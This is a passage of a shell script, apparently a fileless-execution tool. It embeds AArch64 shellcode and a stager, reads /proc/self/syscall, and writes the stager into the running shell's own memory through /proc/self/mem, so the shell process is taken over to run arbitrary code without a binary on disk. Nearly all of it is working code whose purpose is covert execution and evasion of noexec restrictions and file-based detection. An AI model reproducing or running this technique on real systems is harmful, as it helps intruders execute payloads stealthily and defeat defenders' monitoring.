"\xe2\x0f\x40\xf9\x40\x00\x00\x8b\x21\x00\x40\x39"\ "\x01\x00\x00\x39\xe0\x17\x40\xf9\x00\x04\x00\x91"\ "\xe0\x17\x00\xf9\xe0\x17\x40\xf9\xe1\x07\x40\xf9"\ "\x3f\x00\x00\xeb\x48\xfe\xff\x54\xe0\x0f\x40\xf9"\ "\xff\xc3\x00\x91\xc0\x03\x5f\xd6\xe8\x1a\x80\xd2"\ "\x01\x00\x00\xd4\xc0\x03\x5f\xd6\xc8\x1b\x80\xd2"\ "\x01\x00\x00\xd4\xc0\x03\x5f\xd6\xe8\x07\x80\xd2"\ "\x01\x00\x00\xd4\xc0\x03\x5f\xd6\x08\x03\x80\xd2"\ "\x02\x00\x80\xd2\x01\x00\x00\xd4\xc0\x03\x5f\xd6"\ "\x2e\x69\x6e\x74\x65\x72\x70\x00\x2e\x62\x73\x73"\ "\x00" # mmap() + read() + close() + mprotect() + jmp stager="\x00\x00\x80\xd2\x01\x00\x82\xd2\x62\x00\x80\xd2"\ "\x43\x04\x80\xd2\x04\x00\x80\x92\x05\x00\x80\xd2"\ "\xc8\x1b\x80\xd2\x01\x00\x00\xd4\xe1\x03\x00\xaa"\ "\x20\x01\x80\xd2\x02\x00\x82\xd2\xe8\x07\x80\xd2"\ "\x01\x00\x00\xd4\x20\x01\x80\xd2\x28\x07\x80\xd2"\ "\x01\x00\x00\xd4\xe0\x03\x01\xaa\xe3\x03\x00\xaa"\ "\x01\x00\x82\xd2\xa2\x00\x80\xd2\x48\x1c\x80\xd2"\ "\x01\x00\x00\xd4\x60\x00\x1f\xd6" if [ $DEBUG -eq 1 ]; then sc="\x00\x00\x00\x14""$sc"; fi # if [ $DEBUG -eq 1 ]; then stager="\x00\x00\x00\x14""$stager"; fi fi # Endian conversion endian() { echo -n ${1:14:2}${1:12:2}${1:10:2}${1:8:2}${1:6:2}${1:4:2}${1:2:2}${1:0:2} } escape() { escaped="" i=0 while [ $i -lt ${#1} ] do if [ "${1:$i:1}" = '"' -o "${1:$i:1}" = '\' ] then escaped="$escaped"'\'"${1:$i:1}" else escaped="$escaped""${1:$i:1}" fi i=$((i + 1)) done echo -n "$escaped" } # Parse all arguments escaping quotes for arg in "$@"; do args=$args\"$(escape "$arg")\"; done args="$(printf %08x ${#args})$args" # Create a pipe with all the arguments at fd 8 exec 8< <(echo -n "$args") # Create a pipe with the shellcode at fd 9 exec 9< <(printf "$sc") # Write stager where it will be found shortly read syscall_info < /proc/self/syscall set -- $syscall_info addr=$(($(eval "echo \$9"))) exec 7>/proc/self/mem seeker_args=${SEEKER_ARGS/'$offset'/$addr} seeker_args="$(eval echo -n \"$seeker_args\")" eval "$seeker" $seeker_args <&7 >/dev/null 2>&1 printf "$stager" >&7 # sh never existed, it was all a dream!